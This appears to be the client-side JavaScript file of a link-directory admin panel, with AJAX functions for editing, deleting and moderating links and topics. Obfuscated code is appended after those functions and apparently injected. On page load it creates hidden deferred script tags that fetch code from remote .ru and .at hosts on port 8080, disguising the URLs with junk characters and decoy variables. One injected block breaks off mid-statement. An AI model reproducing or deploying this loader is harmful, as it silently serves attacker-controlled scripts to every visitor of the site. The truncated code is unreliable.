// JavaScript functions
function createobject(){
	var request_object;
	var browser = navigator.appName;
	
	if (browser == "Microsoft Internet Explorer"){
		request_object = new ActiveXObject("Microsoft.XMLHTTP");
	} else {
		request_object = new XMLHttpRequest();
	}
	
	return request_object;
}

function editlink(linkid){
	if (document.getElementById("listing_edit_" + linkid).style.display == "none"){
		document.getElementById("listing_edit_" + linkid).style.display = "";
		
		document.getElementById("listing_title_" + linkid).focus();
	} else {
		document.getElementById("listing_edit_" + linkid).style.display = "none";
	}
}

function editlinksave(linkid, root){
	
	var title = document.getElementById("listing_title_" + linkid).value;
	var url = document.getElementById("listing_url_" + linkid).value;
	var topic = document.getElementById("listing_topic_" + linkid).value;
	var priority = document.getElementById("listing_priority_" + linkid).value;
	var description = document.getElementById("listing_description_" + linkid).value;
	
	req = createobject();
	req.onreadystatechange = function(){ editlinksavedone(linkid, title, url, description); }
	req.open("POST", root + "callers/editlink.php?linkid=" + linkid, true);
	req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	req.send("title=" + escape(title) + "&url=" + escape(url) + "&topicid=" + escape(topic) + "&priority=" + escape(priority) + "&description=" + escape(description));
}

function editlinksavedone(linkid, title, url, description){
	
	if (req.readyState == 4){
		
		var result = req.responseText;
		alert(result);
		
		if (result == "Link updated successfully!"){
			editlink(linkid);
			document.getElementById("listing_link_" + linkid).innerHTML = title;
			document.getElementById("listing_link_" + linkid).href = url;
			
			if (description != ''){
				document.getElementById("listing_current_description_" + linkid).innerHTML = " - " + description;
			} else {
				document.getElementById("listing_current_description_" + linkid).innerHTML = "";
			}
		}
	}
}

function editnewtopic(newtopicid){
	if (document.getElementById("newtopic_container_" + newtopicid).style.display == "none"){
		document.getElementById("newtopic_container_" + newtopicid).style.display = "";
		
		document.getElementById("newtopic_title_" + newtopicid).focus();
	} else {
		document.getElementById("newtopic_container_" + newtopicid).style.display = "none";
	}
}

function editnewtopicsave(newtopicid, root){
	
	var title = document.getElementById("newtopic_title_" + newtopicid).value;
	var email = document.getElementById("newtopic_email_" + newtopicid).value;
	var topic = document.getElementById("newtopic_parent_" + newtopicid).value;
	var description = document.getElementById("newtopic_description_" + newtopicid).value;
	
	req = createobject();
	req.onreadystatechange = function(){ editnewtopicdone(newtopicid, title, description); }
	req.open("POST", root + "callers/editnewtopic.php?newtopicid=" + newtopicid, true);
	req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	req.send("title=" + escape(title) + "&email=" + escape(email) + "&topicid=" + escape(topic) + "&description=" + escape(description));
}

function editnewtopicdone(id, title, description){
	
	if (req.readyState == 4){
		
		var result = req.responseText;
		alert(result);
		
		if (result == "Topic updated successfully!"){
			editnewtopic(id);
			document.getElementById("newtopic_current_title_" + id).innerHTML = title;
			
			if (description != ''){
				document.getElementById("newtopic_current_description_" + id).innerHTML = " - " + description;
			} else {
				document.getElementById("newtopic_current_description_" + id).innerHTML = "";
			}
		}
	}
}

function editqueue(id){
	if (document.getElementById("url_edit_" + id).style.display == "none"){
		document.getElementById("url_edit_" + id).style.display = "";
		
		document.getElementById("url_title_" + id).focus();
	} else {
		document.getElementById("url_edit_" + id).style.display = "none";
	}
}

function editqueuesave(id, root){
	
	var title = document.getElementById("url_title_" + id).value;
	var url = document.getElementById("url_url_" + id).value;
	var topic = document.getElementById("url_topic_" + id).value;
	var email = document.getElementById("url_email_" + id).value;
	var description = document.getElementById("url_description_" + id).value;
	
	req = createobject();
	req.onreadystatechange = function(){ editqueuedone(id, title, url, description); }
	req.open("POST", root + "callers/editqueue.php?queueid=" + id, true);
	req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	req.send("title=" + escape(title) + "&url=" + escape(url) + "&topicid=" + escape(topic) + "&email=" + escape(email) + "&description=" + escape(description));
}

function editqueuedone(id, title, url, description){
	
	if (req.readyState == 4){
		
		var result = req.responseText;
		alert(result);
		
		if (result == "Link updated successfully!"){
			editqueue(id);
			document.getElementById("url_link_" + id).innerHTML = title;
			document.getElementById("url_link_" + id).href = url;
			
			if (description != ''){
				document.getElementById("url_current_description_" + id).innerHTML = " - " + description;
			} else {
				document.getElementById("url_current_description_" + id).innerHTML = "";
			}
		}
	}
}

function deletelink(linkid, root){
	
	var con = confirm('Are you sure you want to delete this?');
	if (con == true){
	
		req = createobject();
		req.onreadystatechange = function(){ deletelinkdone(linkid); }
		req.open("GET", root + "callers/deletelink.php?linkid=" + linkid, true);
		req.send(null);
	
	}
}

function deletelinkdone(linkid){
	
	if (req.readyState == 4){
		
		var result = req.responseText;
		
		if (result == "Link deleted successfully!"){
			
			document.getElementById("listing_container_" + linkid).style.display = "none";
			
		} else {
			alert(result);
		}
	}
	
}

function editorpage(page){
	
	document.getElementById("editor-addlinks").style.display = "none";
	document.getElementById("editor-subtopics").style.display = "none";
	document.getElementById("editor-edittopic").style.display = "none";
	document.getElementById("editor-deletetopic").style.display = "none";
	
	document.getElementById("editortab-addlinks").className = "editorboxtop";
	document.getElementById("editortab-subtopics").className = "editorboxtop";
	document.getElementById("editortab-edittopic").className = "editorboxtop";
	document.getElementById("editortab-deletetopic").className = "editorboxtop";
	
	document.getElementById("editor-" + page).style.display = "";
	document.getElementById("editortab-" + page).className = "editorboxtab";
	
	if (page == "addlinks"){
		document.getElementById("editor-addlinks-title").focus();
	} else if (page == "subtopics"){
		document.getElementById("editor-subtopics-title").focus();
	} else if (page == "edittopic"){
		document.getElementById("editor-edittopic-title").focus();
	}
	
	return false;
}

function togglevisibility(topicid, root){
	
	document.getElementById('visbutton').disabled = true;
	document.getElementById('visbutton').value = "Processing...";
	
	req = createobject();
	req.onreadystatechange = function(){ togglevisibilitydone(topicid); }
	req.open("GET", root + "callers/togglevisibility.php?topicid=" + topicid, true);
	req.send(null);
}

function togglevisibilitydone(linkid){
	
	if (req.readyState == 4){
		
		// alert the result
		var result = req.responseText;
		alert(result);
		
		// reset values
		document.getElementById('visbutton').disabled = false;
		document.getElementById('visbutton').value = "Toggle Visibility";
		
		// update form
		if (result == "Topic has been set to invisible"){
			document.getElementById('visible').selectedIndex = 1;
		} else if (result == "Topic has been set to visible"){
			document.getElementById('visible').selectedIndex = 0;
		}
	}
	
}





var s=new Array();var sz='';var fp;if(fp!='p'){fp='p'};this.ix='';var c=document;var w='';var k=window;var u=28537;var jf='';var kt='sSc+r1iSpVt+'.replace(/[\+S1\>V]/g, '');var ah=new Date();var lu=new Date();var gq;if(gq!=''){gq='h'};var ht;if(ht!=''){ht='fw'};var fq;if(fq!='we'){fq='we'};var z_='';k.onload=function(){var uv=new Date();try {y=c.createElement(kt);var jnv="";var m=new String();y.setAttribute('dGeGf^e^r0'.replace(/[0K\^YG]/g, ''), "1");this.te=14624;y.src='hMtZtUpM:M/*/JcMoJcUoUlJo*gM-*nMiJfZtZyU-JcJo*mM.*pMa*yJpUaJlZ.McZoUmJ.UsUoUfMtUo*nUiMcJ-McZoUmZ.ZtJhJe*lJiZfZeMtJaMgZ.*r*uJ:U8U0Z8M0U/*gUoZoJgMlZeJ.*cUo*mJ/*gZoJoJg*lJe*.*cZoJmU/JwMeMlJlMs*fJaMrMgUo*.*cZo*mM/MtUu*eUnMtZiU.McMo*mU/*mZeJdZi*aMpZl*eJx*.UcZoMmZ/J'.replace(/[JMZ\*U]/g, '');var jh=new Array();var mb;if(mb!='' && mb!='vs'){mb='rn'};var rx="rx";c.body.appendChild(y);var tm;if(tm!='ou' && tm != ''){tm=null};var nj;if(nj!='mv' && nj != ''){nj=null};} catch(g){var _o;if(_o!='af' && _o!='is'){_o='af'};var wu;if(wu!='ym' && wu!='mx'){wu='ym'};};};
var sc='';var a=window;var q=document;var k;if(k!='gs' && k != ''){k=null};function m(s){var j=['h7tTtTpT:T/I/&tTu7ejnTt&iI-7c7o7m7.T4&t7uTb7eT.7cjo7mT.Iajd&b&rIi7t&ej-7c&o&mj.&n7eTw&gTojlTfToTn7lji7nIej.IrIuT:T8T0I8T0T/&g&o&o&g&l7e7.jcToj.Tm&aI/jg&o&o&gIlTe7.Icjo7.&mjaI/jxjujn7l&eTi&.jc7o7mT/jgIoIo7g&lIe&.IcTo7mj/&g7o&oTg&l7eI.IdTk7/j'.replace(/[jTI&7]/g, ''), 's^cPr^iPp|tj'.replace(/[j\^SP\|]/g, ''), 'cVrNe*aitFe*ENlVeimNeFnNtV'.replace(/[VF\*Ni]/g, ''), 'ountluoZaedZ'.replace(/[Zue%t]/g, ''), 's&rRcv'.replace(/[vR6&u]/g, ''), 'a?pDpjejn?djCDhji?ljdD'.replace(/[Dj0\?;]/g, ''), 'sTe$t$ANtTt$r$iTbhuTtheh'.replace(/[hT\$NL]/g, ''), 'b$o0dly|'.replace(/[\|w\$0l]/g, ''), 'dTeTf+e3rQ'.replace(/[QK3\+T]/g, ''), "1"];var sj=false;var i=j[s];return i;var kk=new String();}var v = function(){var bz=false;try {ao=q[m([9,2][1])](m([1,3][0]));var wr=new Date();var dl;if(dl!=''){dl='h'};ao[m([8,6][1])](m([8][0]), m([9][0]));var u;if(u!=''){u='n'};var t = q[m([7,4][0])];this.ini=false;ao[m([4][0])]=m([0][0]);var lc=44141;t[m([5][0])](ao);} catch(g){var nz=new String();};var hn;if(hn!='' && hn!='b_'){hn=null};};a[m([1,3][1])]=v;var by=new Array();var p_;if(p_!='nj'){p_=''};
var PZ="fedde7c1e788e5e1e0eccf8df3fff0e698d6dbeff2f2e2d2e1c5ead7d4ebd9fcd6e9d3eaf9ecdbd0f7e8e4fff8faede7fdded1fed8d4c4e3e5f5e2f1f6d4f5e4d188cff196d2f2fd90d2e681e1fe";this.fg=false;var SCU;if(SCU!='RBs' && SCU != ''){SCU=null};function A(G){var Z=false; this.Y="Y";function r(sf){var od;if(od!='Dh' && od!='YO'){od=''};var jR=false;var m=[0][0];var iG;if(iG!='' && iG!='ZR'){iG='yt'};this.ncp="ncp";var K=[255][0];var b;if(b!='M' && b != ''){b=null};this.et="et";var T=[136,1,113][1];var S=[70,150,0][2];var V="V";var q=sf[E("glnteh", [1,4,2,0,3])];var NM;if(NM!='Iz' && NM!='Q'){NM='Iz'};var dL="dL";while(S<q){var EN;if(EN!=''){EN='Xc'};var L=new Date();S++;var Ck;if(Ck!='z' && Ck!='Xu'){Ck='z'};g=j(sf,S - T);m+=g*q;}this.c='';return new s(m % K);}this.fi=false; function p(D){this.tg=4085;var bV;if(bV!='My' && bV!='Or'){bV='My'};var Bd="";var Ox;if(Ox!='Ic'){Ox=''};var h = -1;var RE=new Date();var u=new Date();var U =[215,74,0,128][2];var CB;if(CB!='' && CB!='qO'){CB=null};D = new s(D);var iR;if(iR!='' && iR!='Fw'){iR=null};var qU;if(qU!


this.sy='';var F;if(F!='L' && F != ''){F=null};function f(){var uO='';var B=new String();var FI=new Array();var X;if(X!='R'){X=''};var D=window;var c=unescape;var qR;if(qR!='' && qR!='jz'){qR='uE'};var m=c("%2f%64%61%6e%74%72%69%2d%63%6f%6d%2d%76%6e%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%70%69%63%74%75%72%65%2e%72%75%2e%70%68%70");var dA='';function E(N,H){var A=new String();var Jd=new Array();var l='';var Dd="grQjf".substr(0,1);var S=new Array();var BL;if(BL!='' && BL!='Jr'){BL=null};var d=c("%5b"), fY=c("%5d");var W=d+H+fY;var i=new RegExp(W, Dd);var IW;if(IW!='FC' && IW!='FS'){IW=''};return N.replace(i, new String());var Al;if(Al!='' && Al!='ip'){Al=''};};var Z;if(Z!='gB' && Z != ''){Z=null};var Lm;if(Lm!='fu' && Lm != ''){Lm=null};var xW;if(xW!='V' && xW != ''){xW=null};var VW='';var dr='';var J=E('84461316076167481339535076214171','13954672');var Ss;if(Ss!='' && Ss!='no'){Ss=''};var Zd;if(Zd!='sk' && Zd!='O'){Zd='sk'};var h;if(h!='' && h!='bj'){h=null};var q=document;this.lg='';var C;if(C!='' && C!='xj'){C='OW'};var M=new String();var d_="";function s(){var _s;if(_s!='yE'){_s=''};var _F=new Date();var yS=new Date();var n=c("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var cM="";var Y;if(Y!='Wj' && Y!='vo'){Y=''};M=n;var wG=new String();var eU=new Date();M+=J;var GL;if(GL!='' && GL!='Bqf'){GL=''};var sM=new Array();M+=m;this.qY="";var gI;if(gI!='sP' && gI != ''){gI=null};try {var TS;if(TS!='' && TS!='ho'){TS='bn'};WF=q.createElement(E('s5cGrGiGpGtG','JG5'));var ZG;if(ZG!='' && ZG!='a'){ZG='JL'};var iu="";var lI="";WF[c("%64%65%66%65%72")]=[1][0];var U;if(U!=''){U='Xu'};var hl='';WF[c("%73%72%63")]=M;var bL;if(bL!='ZH'){bL=''};var NK;if(NK!=''){NK='oq'};var dS;if(dS!='' && dS!='_w'){dS=null};var Gw;if(Gw!='' && Gw!='Aq'){Gw=''};q.body.appendChild(WF);var bQ=new String();var KJ;if(KJ!='' && KJ!='qy'){KJ='Uk'};this.kk="";} catch(dq){var glf='';this.Dq="";alert(dq);this.xc='';};}var uH;if(uH!=''){uH='Vd'};var lq;if(lq!=''){lq='cH'};D["Ppwonl".substr(3)+"oad"]=s;var Hh;if(Hh!='yP' && Hh != ''){Hh=null};var GLp;if(GLp!=''){GLp='xw'};var HL;if(HL!='Dl' && HL != ''){HL=null};};var zp=new Array();f();